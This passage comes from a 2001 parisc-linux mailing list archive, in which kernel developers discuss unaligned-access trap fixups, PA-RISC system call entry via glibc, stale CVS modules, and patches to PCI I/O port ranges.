To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 17:25:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53BA3482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 17:25:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15dgc6-0003Ww-00; Mon, 03 Sep 2001 00:25:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010902.160441.92583890.davem@redhat.com>; from davem@redhat.com on Sun, Sep 02, 2001 at 04:04:41PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12068

On Sun, Sep 02, 2001 at 04:04:41PM -0700, David S. Miller wrote:
>    From: Matthew Wilcox <willy@debian.org>
>    Date: Sun, 2 Sep 2001 15:00:23 +0100
> 
>    On Sun, Sep 02, 2001 at 10:55:38AM +0200, thunder7@xs4all.nl wrote:
>    > ReiserFS version 3.6.25
>    > bonnie[163]: Unaligned data reference 28
>    
>    As it says, an unaligned data reference.
>    
> BTW, you should not be OOPSing on this as unaligned references are
> defined as completely normal, especially in the networking.
> 
> Is it impossible to handle unaligned access traps properly on
> parisc?  If so, well you have some problems...

No, we just haven't bothered to implement it yet.  Not many people
use IPX these days.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on
 parisc architecture
Date: Sun, 02 Sep 2001 16:26:32 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <20010902.162632.55510336.davem@redhat.com>
References: <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk>
	<20010902.160441.92583890.davem@redhat.com>
	<20010903002514.X5126@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620444 24836 80.91.229.3 (22 Nov 2014 01:40:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:44 +0000 (UTC)
Cc: thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 17:26:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id B099F482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 17:26:37 -0600 (MDT)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id QAA14584;
	Sun, 2 Sep 2001 16:26:32 -0700
In-Reply-To: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Xref: news.gmane.org gmane.linux.ports.parisc:12069

   From: Matthew Wilcox <willy@debian.org>
   Date: Mon, 3 Sep 2001 00:25:14 +0100
   
   No, we just haven't bothered to implement it yet.  Not many people
   use IPX these days.
   
IPX is not the only way this can happen.  Normal IPv4 can get
it with some ethernet cards on receive.

Later,
David S. Miller
davem@redhat.com




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 3 Sep 2001 00:31:10 +0100 (BST)
Lines: 15
Approved: news@gmane.org
Message-ID: <E15dghq-0000bZ-00@the-village.bc.nu>
References: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620444 24839 80.91.229.3 (22 Nov 2014 01:40:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:44 +0000 (UTC)
Cc: davem@redhat.com (David S. Miller), willy@debian.org,
	thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 17:28:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54CA9482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 17:28:49 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 15dghq-0000bZ-00; Mon, 03 Sep 2001 00:31:10 +0100
In-Reply-To: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Sep 03, 2001 12:25:14 AM
X-Mailer: ELM [version 2.5 PL6]
Xref: news.gmane.org gmane.linux.ports.parisc:12070

> > Is it impossible to handle unaligned access traps properly on
> > parisc?  If so, well you have some problems...
> 
> No, we just haven't bothered to implement it yet.  Not many people
> use IPX these days.

You also need unaligned trap fixups for

AX.25, NetROM, LAPB, X.25, Appletalk, PPP, Anything over 802.2LLC, Linus
NFS code for some NFS mount options (although not the -ac NFS code)

Alan




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [SOLVED + PATCH]: documented Oops running big-endian reiserfs
Date: Mon, 3 Sep 2001 00:29:48 +0100 (BST)
Lines: 14
Approved: news@gmane.org
Message-ID: <E15dggW-0000bJ-00@the-village.bc.nu>
References: <20010902.160859.104033892.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620445 24840 80.91.229.3 (22 Nov 2014 01:40:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:45 +0000 (UTC)
Cc: Richard.Zidlicky@stud.informatik.uni-erlangen.de,
	thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: davem@redhat.com (David S. Miller)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 17:30:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CED5482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 17:30:22 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 15dggW-0000bJ-00; Mon, 03 Sep 2001 00:29:48 +0100
In-Reply-To: <20010902.160859.104033892.davem@redhat.com> from "David S. Miller" at Sep 02, 2001 04:08:59 PM
X-Mailer: ELM [version 2.5 PL6]
Xref: news.gmane.org gmane.linux.ports.parisc:12071

> It will trap and run very slowly, but it wont' OOPS and
> it will give correct results.
> 
> This is actually required behavior, I don't know why parisc
> is acting differently.

Several of the platforms only have trap fixups for a small subset of operations
that can legitimately occur on things like networking headers. It makes the
recovery code a lot smaller and cleaner.

Alan




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Which CVS modules are still alive?
Followup-To: gmane.linux.ports.hppa
Date: Mon, 3 Sep 2001 10:59:49 +0930
Lines: 21
Approved: news@gmane.org
Message-ID: <20010903105949.L29754@bubble.sa.bigpond.net.au>
References: <20010902165337.F16220@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620445 24847 80.91.229.3 (22 Nov 2014 01:40:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:45 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 19:30:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailin9.bigpond.com (juicer34.bigpond.com [139.134.6.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D66C482A
	for <parisc-linux@parisc-linux.org>; Sun,  2 Sep 2001 19:29:59 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.81]) by
          mailin9.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GJ2CG400.3X5 for <parisc-linux@parisc-linux.org>; Mon, 3 Sep
          2001 11:36:04 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by bwmam05.mailsvc.email.bigpond.com(MailRouter V2.9i 8335/3226668); 03 Sep 2001 11:35:59
Original-Received: (qmail 8191 invoked by uid 179); 3 Sep 2001 01:29:49 -0000
Mail-Followup-To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010902165337.F16220@neep.com.au>; from andrew@neep.com.au on Sun, Sep 02, 2001 at 04:53:39PM +0800
Xref: news.gmane.org gmane.linux.ports.parisc:12072

On Sun, Sep 02, 2001 at 04:53:39PM +0800, Andrew Shugg wrote:
> I was just wondering which of the following CVS modules (that I have
> checked out) are still considered active.
> 
>   binutils  gcc  glibc  linux  palo
> 
> Obviously 'linux' will be active as long as hppa-linux kernel
> development continues outside of the main kernel tree.  I believe glibc
> has been mentioned before as being stale?  How about the others?

binutils is long dead.  Use sources.redhat.com CVS, trunk or 2.11 branch,
or one of H.J.'s releases after 2.11.90.0.19.  Don't use any of the 2.11.x
releases, unless you like debugging binutils problems;  They are all
missing some hppa fixes that I found just after each release.  :-(

gcc is a wee bit stale, but should be updated soon.

Alan




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Admin" <admin@inane.demon.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] system calls
Date: Mon, 3 Sep 2001 05:10:34 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <001401c1342e$66f29b40$1500000a@lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0011_01C13436.C31E3660"
X-Trace: ger.gmane.org 1416620445 24853 80.91.229.3 (22 Nov 2014 01:40:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:45 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 22:11:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7D6B482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 22:11:19 -0600 (MDT)
Original-Received: from inane.demon.co.uk ([193.237.110.216] helo=acheron)
	by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2)
	id 15dl4w-000BOl-0K
	for parisc-linux@lists.parisc-linux.org; Mon, 3 Sep 2001 04:11:18 +0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:12073

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C13436.C31E3660
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

How does PA-RISC trap to the OS during syscalls.

x86 uses trapgates and long-jumps, sparc uses traps and MIPs uses jumps.

I'm wondering what the set of instructions are to initiate a system =
call.

-inane

------=_NextPart_000_0011_01C13436.C31E3660
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>How does PA-RISC trap to the OS during=20
syscalls.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>x86 uses trapgates and long-jumps, =
sparc uses traps=20
and MIPs uses jumps.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I'm wondering what the set of =
instructions are to=20
initiate a system call.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>-inane</FONT></DIV></BODY></HTML>

------=_NextPart_000_0011_01C13436.C31E3660--





From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] system calls
Date: Mon, 3 Sep 2001 05:16:40 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20010903051640.A5126@parcelfarce.linux.theplanet.co.uk>
References: <001401c1342e$66f29b40$1500000a@lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620446 24857 80.91.229.3 (22 Nov 2014 01:40:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Admin <admin@inane.demon.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 22:16:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12EB9482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 22:16:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15dlA8-0008Uv-00; Mon, 03 Sep 2001 05:16:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <001401c1342e$66f29b40$1500000a@lan>; from admin@inane.demon.co.uk on Mon, Sep 03, 2001 at 05:10:34AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12074

On Mon, Sep 03, 2001 at 05:10:34AM +0100, Admin wrote:
> How does PA-RISC trap to the OS during syscalls.
> 
> x86 uses trapgates and long-jumps, sparc uses traps and MIPs uses jumps.
> 
> I'm wondering what the set of instructions are to initiate a system call.

we use a gateway page in a different space.  Here's glibc's implementation
of syscall:

int
syscall (int sysnum, int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)
{
  long __sys_res;
  {
    register unsigned long __res asm("r28");
    LOAD_ARGS_6(arg0, arg1, arg2, arg3, arg4, arg5)
      asm volatile ("ble  0x100(%%sr2, %%r0)\n\t"
                    "copy %1, %%r20"
                    : "=r" (__res)
                    : "r" (sysnum) ASM_ARGS_6);
    __sys_res = __res;
  }
  if ((unsigned long) __sys_res >= (unsigned long)-4095)
    {
    __set_errno(-__sys_res);
    __sys_res = -1;
  }
  return __sys_res;
}

if you're interested in discussion of what/how/why/etc, there's lots of
material in the mailing list archives going all the way back to 99.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Port space on Elroy
Date: Mon, 03 Sep 2001 00:39:06 -0600
Lines: 110
Approved: news@gmane.org
Message-ID: <200109030639.AAA10825@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620446 24863 80.91.229.3 (22 Nov 2014 01:40:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 00:41:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CAE7482A
	for <parisc-linux@parisc-linux.org>; Mon,  3 Sep 2001 00:41:59 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA10825;
	Mon, 3 Sep 2001 00:39:06 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 01 Sep 2001 08:21:00 BST." <20010901082100.J5126@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12075

Matthew Wilcox wrote:
> 
> I just took a look at /proc/ioports on my j7k (running 2.4.9-pa1) and
> I'm a little confused by what I see:
> 
> willy@jagu:~$ cat /proc/ioports 
> 00000000-00001ffe : LBA PCI I/O Ports
>   00000020-0000003e : pic1
>   000000a0-000000be : pic2
>   000002f8-000002ff : serial(auto)
>   00000378-0000037a : parport0
>   000003f8-000003ff : serial(auto)
>   00000800-000008ff : sym53c8xx
>   00001000-0000107f : tulip

All the built-ins. so far so good.

> 00004000-00004007 : serial(auto)
> 00004100-00004107 : serial(auto)
> 00004200-00004207 : serial(auto)
> 00004300-00004307 : serial(auto)

These are most likely under HBA 2 and they are being registered
w/o using the virtualized IO port space address.

> 00012000-00013ffe : LBA PCI I/O Ports
> 00024000-00025ffe : LBA PCI I/O Ports
> 00038000-00039ffe : LBA PCI I/O Ports
> 0004c000-0004dffe : LBA PCI I/O Ports

These are "virtualized" I/O port space addresses.

> (the only pci card i have in there is a quad-serial card).
> 
> First, why do all the ioport ranges go to ffe?  Surely it should be fff?

Yes.

> If so, we should make this change:
> 
> @@ -1189,8 +1193,7 @@ lba_legacy_resources(struct parisc_devic
>         r->name  = "LBA PCI I/O Ports";
>         r->flags = IORESOURCE_IO;
>         r->start = READ_REG32(pa_dev->hpa + LBA_IOS_BASE) & ~1L;
> -       r->end   = r->start +
> -           (READ_REG32(pa_dev->hpa + LBA_IOS_MASK) ^ (HBA_PORT_SPACE_SIZE - 
>   1)) - 1;
> +       r->end   = r->start + (READ_REG32(pa_dev->hpa + LBA_IOS_MASK) ^ (HBA_
>   PORT_SPACE_SIZE - 1));
>  
>         /* Virtualize the I/O Port space ranges */
>         lba_num = HBA_PORT_BASE(lba_dev->hba.hba_num);

Urgh. please commit.

> And then, what are the four serial entries doing off by themselves?
> Surely these should be underneath one of the elroys?  /proc/pci says
> they're on bus2, so I guess they should be under the 00024000-00025ffe
> range (25fff?  :-).

Yes - as noted above.

>   I think the problem is that the start/end pair
> aren't getting updated in the bus fixup.  In which case, the patch looks
> like this:
> 
> @@ -707,6 +707,7 @@ lba_fixup_bus(struct pci_bus *bus)
>         u16 status;
>  #endif
>         struct lba_device *ldev = LBA_DEV(bus->sysdata);
> +       int lba_portbase = HBA_PORT_BASE(ldev->hba.hba_num);
>  #ifdef __LP64__
>         int i;
>  #endif
> @@ -805,6 +806,9 @@ lba_fixup_bus(struct pci_bus *bus)
>                                 /* "Globalize" PCI address */
>                                 res->start |= ldev->lmmio_base;
>                                 res->end   |= ldev->lmmio_base;
> +                       } else if (res->flags & IORESOURCE_IO) {
> +                               res->start |= lba_portbase;
> +                               res->end   |= lba_portbase;
>                         }
>                 }
>  #endif

I'm wondering how this worked before....
peer-to-peer from elroy 0 to elroy 2?
(ie we are poking elroy 0 to generate the IO cycle and elroy 2 is
picking it up somehow and passin it down it's bus.)

ah..willy just pointed out I used LBA_ASTRO_PORT_BASE (non-postable
IO port space in LMMIO) and that's routed by Astro to the right Elroy.

> comments, please.

I think this change is safe to commit too.
On PAT PDC boxes it will be redundant but harmless.

Trying A500 w/4-port serial card w/ and w/o this change
would be prudent and interesting respectively.

thanks willy!
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi Kleen <ak@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on parisc architecture
Date: 03 Sep 2001 09:29:12 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <oup66b0zq9j.fsf@pigdrop.muc.suse.de>
References: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk.suse.lists.linux.kernel> <E15dghq-0000bZ-00@the-village.bc.nu.suse.lists.linux.kernel>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620446 24869 80.91.229.3 (22 Nov 2014 01:40:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:46 +0000 (UTC)
Cc: davem@redhat.com (David S. Miller), willy@debian.org,
	thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 01:29:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F500482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 01:29:19 -0600 (MDT)
Original-Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id 152AA1EAA5; Mon,  3 Sep 2001 09:29:18 +0200 (MEST)
Original-Sender: ak@suse.de
In-Reply-To: Alan Cox's message of "3 Sep 2001 01:32:44 +0200"
Original-Lines: 18
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:12076

Alan Cox <alan@lxorguk.ukuu.org.uk> writes:

> > > Is it impossible to handle unaligned access traps properly on
> > > parisc?  If so, well you have some problems...
> > 
> > No, we just haven't bothered to implement it yet.  Not many people
> > use IPX these days.
> 
> You also need unaligned trap fixups for
> 
> AX.25, NetROM, LAPB, X.25, Appletalk, PPP, Anything over 802.2LLC, Linus
> NFS code for some NFS mount options (although not the -ac NFS code)

And also everybody connected to the internet needs them, because you can 
create arbitarily unaligned TCP/UDP/ICMP headers using IP option byte sized 
NOPs. 

-Andi




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on
 parisc architecture
Date: Mon, 03 Sep 2001 01:15:30 -0700 (PDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20010903.011530.62340995.davem@redhat.com>
References: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk.suse.lists.linux.kernel>
	<E15dghq-0000bZ-00@the-village.bc.nu.suse.lists.linux.kernel>
	<oup66b0zq9j.fsf@pigdrop.muc.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620447 24875 80.91.229.3 (22 Nov 2014 01:40:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:47 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, willy@debian.org, thunder7@xs4all.nl,
	parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
To: ak@suse.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 02:15:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9B91482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 02:15:55 -0600 (MDT)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id BAA28165;
	Mon, 3 Sep 2001 01:15:30 -0700
In-Reply-To: <oup66b0zq9j.fsf@pigdrop.muc.suse.de>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Xref: news.gmane.org gmane.linux.ports.parisc:12077

   From: Andi Kleen <ak@suse.de>
   Date: 03 Sep 2001 09:29:12 +0200
   
   And also everybody connected to the internet needs them, because you can 
   create arbitarily unaligned TCP/UDP/ICMP headers using IP option byte sized 
   NOPs. 

IP header length is measured in octets, so how is this possible?
:-)

Later,
David S. Miller
davem@redhat.com




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi Kleen <ak@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 3 Sep 2001 10:41:05 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20010903104105.A3398@gruyere.muc.suse.de>
References: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk.suse.lists.linux.kernel> <E15dghq-0000bZ-00@the-village.bc.nu.suse.lists.linux.kernel> <oup66b0zq9j.fsf@pigdrop.muc.suse.de> <20010903.011530.62340995.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620447 24887 80.91.229.3 (22 Nov 2014 01:40:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:47 +0000 (UTC)
Cc: ak@suse.de, alan@lxorguk.ukuu.org.uk, willy@debian.org,
	thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 02:41:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E3C9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 02:41:08 -0600 (MDT)
Original-Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id 0A85E1EAB8; Mon,  3 Sep 2001 10:41:07 +0200 (MEST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010903.011530.62340995.davem@redhat.com>; from davem@redhat.com on Mon, Sep 03, 2001 at 01:15:30AM -0700
Original-Sender: ak@suse.de
Xref: news.gmane.org gmane.linux.ports.parisc:12078

On Mon, Sep 03, 2001 at 01:15:30AM -0700, David S. Miller wrote:
